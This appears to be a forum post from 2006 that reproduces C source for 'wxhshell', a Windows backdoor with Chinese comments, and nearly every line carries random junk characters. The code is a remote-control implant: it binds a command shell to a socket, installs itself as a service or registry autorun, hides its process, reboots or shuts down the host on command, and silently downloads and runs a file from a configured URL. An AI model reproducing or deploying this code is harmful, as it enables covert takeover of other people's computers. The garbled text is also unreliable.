      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *;T'=u_lR  
    break; &5*t*tI  
  } *Ag3qnY  
  // 安装 D;z!C ys  
  case 'i': { 9{0%M  
    if(Install()) c3WF!~1r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXk^u gFy  
    else / 2MhP=,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WBR# Ux  
    break; "n{JH9sA:  
    } l!": s:/'  
  // 卸载 -`$J& YU  
  case 'r': { }!"Cvu  
    if(Uninstall()) (dh9aR_a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Mj|Px%  
    else 2fXwJG'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8! /ue.T  
    break; Zzmo7kFx3  
    } TN<"X :x9  
  // 显示 wxhshell 所在路径 0^)~p{Zh  
  case 'p': { Jl|^^?  
    char svExeFile[MAX_PATH]; G?!8T91;  
    strcpy(svExeFile,"\n\r"); %S^:5#9  
      strcat(svExeFile,ExeFile); AC!yc(^<  
        send(wsh,svExeFile,strlen(svExeFile),0); nI] zRduC  
    break; ^CD? SP"i  
    } ^S 45!mSb  
  // 重启 n8JM 0 U-  
  case 'b': { > w SI0N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MRT<hB  
    if(Boot(REBOOT)) ]Bs{9=2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FGeKhA 8jT  
    else { "whs?^/  
    closesocket(wsh); fcy4?SQ.<i  
    ExitThread(0); /N,\st  
    } kOC0d,  
    break; )~`UDaj_  
    } *?A!`JpJn  
  // 关机 nZM]EWn  
  case 'd': { u95D0S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A\v53AT  
    if(Boot(SHUTDOWN)) dF5y' R'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |io)?`pj  
    else { [zSt+K;  
    closesocket(wsh); PEaZ3{-  
    ExitThread(0); :ciD!Ly  
    } -Ir>pY\!  
    break;  bDD29  
    } E33WT{H&_'  
  // 获取shell uo(LZUjPbN  
  case 's': { wO6>jW 7  
    CmdShell(wsh); eU.C<Tv:8  
    closesocket(wsh); 2B5Ez,'#x  
    ExitThread(0); )`6OSB  
    break; [.6bxK  
  } B ]sVlbt  
  // 退出 cucT |y  
  case 'x': { PDLps[a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jv6>7@<G  
    CloseIt(wsh); 1=e(g#Ajn\  
    break; lXEn m-_  
    } ;P$ _:-C  
  // 离开 qn'TIE.  
  case 'q': {  Sr_hD5!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BB_(!omq[  
    closesocket(wsh); OX?E3 <8`  
    WSACleanup(); L[<CEk  
    exit(1); ^ > ?C  
    break; rq1zvuUx  
        } oFT1d  
  } DyA1zwp}  
  } p*Yx1er1  
4n1 g@A=y  
  // 提示信息 t;u)_C,bmP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N8=-=]0G  
} +;=>&XR0m  
  } /c6]DQ<?  
o)$eIu}Wg  
  return; 8VuLL<\|  
} -BWWaL  
cl |}0Q5  
// shell模块句柄 IRTWmT jT  
int CmdShell(SOCKET sock) I3}]MAE  
{ 8iM:ok  
STARTUPINFO si; =kCiJ8q|  
ZeroMemory(&si,sizeof(si)); t~BWN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vsQvJDna~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _>r (T4}]  
PROCESS_INFORMATION ProcessInfo; J25/Iy*byG  
char cmdline[]="cmd"; *pABdP+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Z`|\%D%  
  return 0; (cV1Pmn  
} -Owb@Nw  
7Jd&9&O U  
// 自身启动模式 J6ed  
int StartFromService(void) t< RPDQ>  
{ Lr(JnS  
typedef struct ="P FCxi  
{ XqwP<5Z  
  DWORD ExitStatus; .F[5{XV  
  DWORD PebBaseAddress; d/awQXKe7  
  DWORD AffinityMask; <I0om(P  
  DWORD BasePriority; E*kZGHA  
  ULONG UniqueProcessId; DZA '0-  
  ULONG InheritedFromUniqueProcessId; 'pO-h,{TS  
}   PROCESS_BASIC_INFORMATION; [fELf(;(  
Qz_4Ms<o  
PROCNTQSIP NtQueryInformationProcess; s OLjT34  
UIU6rilB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8@|{n`n]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; > %slzr  
}o\} qu*  
  HANDLE             hProcess; 6Q{OM:L/;.  
  PROCESS_BASIC_INFORMATION pbi; mS49l  
HiD%BL>%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $BG]is,&5  
  if(NULL == hInst ) return 0; f zL5C2d  
z46Sh&+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); } :gi<#-:G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [HQ/MkP-Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }_H\ 75Iv  
U-U(_W5&  
  if (!NtQueryInformationProcess) return 0; kf#S"[/E  
NzN"_ojM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;ZMIYFXRqh  
  if(!hProcess) return 0; P{Q$(rOe  
*i!t&s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1u(n[<WtT_  
5KIhk`S  
  CloseHandle(hProcess); yS3or(K  
#\O'*mz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sE!g!ht  
if(hProcess==NULL) return 0; u yE#EnsH  
q-,`\ TS  
HMODULE hMod; Nus]]Iy-g  
char procName[255]; "v0SvV<7  
unsigned long cbNeeded; hW6Ksn,*  
c `.BN(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,DEcCHr,  
ULs'oT)K;  
  CloseHandle(hProcess); 2OqEyXh  
|$+/IxDP  
if(strstr(procName,"services")) return 1; // 以服务启动 @=Dc(5`[  
?ef7%0  
  return 0; // 注册表启动 Y##lFEt  
} h`(VMf'#  
s0 Z)BR #  
// 主模块 }r;=<mc,O  
int StartWxhshell(LPSTR lpCmdLine) YN7`18u  
{ g`tV^b")  
  SOCKET wsl; "D KrQ,L  
BOOL val=TRUE; NJ;m&Tm,DF  
  int port=0; #.C2_MN>  
  struct sockaddr_in door; )5y" T0]  
<Q`3;ca^  
  if(wscfg.ws_autoins) Install(); nKI?Sc  
V ZtFgN$J  
port=atoi(lpCmdLine); m'k>U4  
tCPK_Wws?Z  
if(port<=0) port=wscfg.ws_port; "5?1S-Vl  
_j*I\  
  WSADATA data; xVN!w\0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Wx\Liw,  
C@<gCMj,"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #7}YSfm^6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xr7M#n  
  door.sin_family = AF_INET; F[W0gjUc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z+CX$.Z  
  door.sin_port = htons(port); <:mK&qu f  
<(yAat$H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q("4R  
closesocket(wsl); \~t!M~H  
return 1; TmM~uc7mj  
} ,mC=MpfzJ  
4I|pkdF_  
  if(listen(wsl,2) == INVALID_SOCKET) { DF gM7if  
closesocket(wsl); @D `j   
return 1; H<P d&  
} hb %F"Q  
  Wxhshell(wsl); y9=<q%Kc-  
  WSACleanup(); K8_\U0 K  
_}T )\o   
return 0; |x>5T}  
,|,kU0xXz  
} qZv@ULluc  
Kltqe5  
// 以NT服务方式启动 Wt=@6w&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'C#[iRG4  
{ k2PK4Ua_}q  
DWORD   status = 0; Z)@[N 6\?  
  DWORD   specificError = 0xfffffff; ]!a?Lr  
L =M'QJl9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U;"J8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fL]jk1.Xv-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]^i^L  
  serviceStatus.dwWin32ExitCode     = 0; ]9JH.fF  
  serviceStatus.dwServiceSpecificExitCode = 0; E\cX  
  serviceStatus.dwCheckPoint       = 0; 6o5,d]  
  serviceStatus.dwWaitHint       = 0; |Q";a:&$  
,e'"SVQc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Np+pJc1  
  if (hServiceStatusHandle==0) return; uY/C iTWr  
{))Cb9'  
status = GetLastError(); |YfJ#Agm+  
  if (status!=NO_ERROR) ?[Ma" l>  
{ Q~P|=*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GhjqStjS&l  
    serviceStatus.dwCheckPoint       = 0; {K?e6-N(z  
    serviceStatus.dwWaitHint       = 0; \C$cbI=;+  
    serviceStatus.dwWin32ExitCode     = status; qEl PYN*wF  
    serviceStatus.dwServiceSpecificExitCode = specificError; vL^ +X`.td  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y=[{:  
    return; |zd5P  
  } !;hp  
UISsiiG(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; up0=Y o@  
  serviceStatus.dwCheckPoint       = 0; |L:X$oM  
  serviceStatus.dwWaitHint       = 0; `0!%jz=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $+Z2q<UT  
} wwJs_f\  
{MDM=;WP_  
// 处理NT服务事件,比如:启动、停止 ]#G1 ]U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0[N1SY\lj  
{ .C ,dV7  
switch(fdwControl) b^P\Q s*m  
{ JeA_mtSQ|  
case SERVICE_CONTROL_STOP: K]|hkp&  
  serviceStatus.dwWin32ExitCode = 0; 3*(><<ZC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yx;K&>  
  serviceStatus.dwCheckPoint   = 0; +kD JZ  
  serviceStatus.dwWaitHint     = 0; +>$Kmy[3  
  { yUO%@;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l m(mY$B*_  
  } >$=l;jO`n  
  return; xh!T,|IR  
case SERVICE_CONTROL_PAUSE: Gm0}KU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bT|-G2g7Z  
  break; vGI)c&C>  
case SERVICE_CONTROL_CONTINUE: =wD&hDn4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2+ g'ul`  
  break; }jdmeD:  
case SERVICE_CONTROL_INTERROGATE: R|Uu  
  break; kX:1=+{xg  
}; W`TSR?4~t?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F}1._I`-  
} v#:?:<  
hb)C"q=  
// 标准应用程序主函数 %[azMlp<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]k+(0qxG  
{ c>+68<H  
,pQ[e$u1  
// 获取操作系统版本 7m?fv Ky  
OsIsNt=GetOsVer(); NGO?K?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8qxZ7|Y@  
|Z+qaq{X  
  // 从命令行安装 r>CBp$  
  if(strpbrk(lpCmdLine,"iI")) Install(); Py/~Q-8p  
8=?U7aw  
  // 下载执行文件 t3K9 |8<  
if(wscfg.ws_downexe) { ltNY8xrdGN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nY\X!K65  
  WinExec(wscfg.ws_filenam,SW_HIDE); yF+mJ >kj  
} ZW@cw}  
kV!1k<f  
if(!OsIsNt) { 0I2?fz)  
// 如果时win9x,隐藏进程并且设置为注册表启动 4p6T0II_$  
HideProc(); @uG/2'B(  
StartWxhshell(lpCmdLine); c%+uji6  
} R9QW%!:,\2  
else j8rxhToC  
  if(StartFromService()) h%v qt~0  
  // 以服务方式启动 mC?}:W M@  
  StartServiceCtrlDispatcher(DispatchTable); 1|:;~9n<t  
else CUBL/U\=  
  // 普通方式启动 F6:LH,~8   
  StartWxhshell(lpCmdLine); 2^:iU{  
t2rZ%[O  
return 0; r@wE?hK  
}
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只看该作者 1 发表于: 2006-10-10
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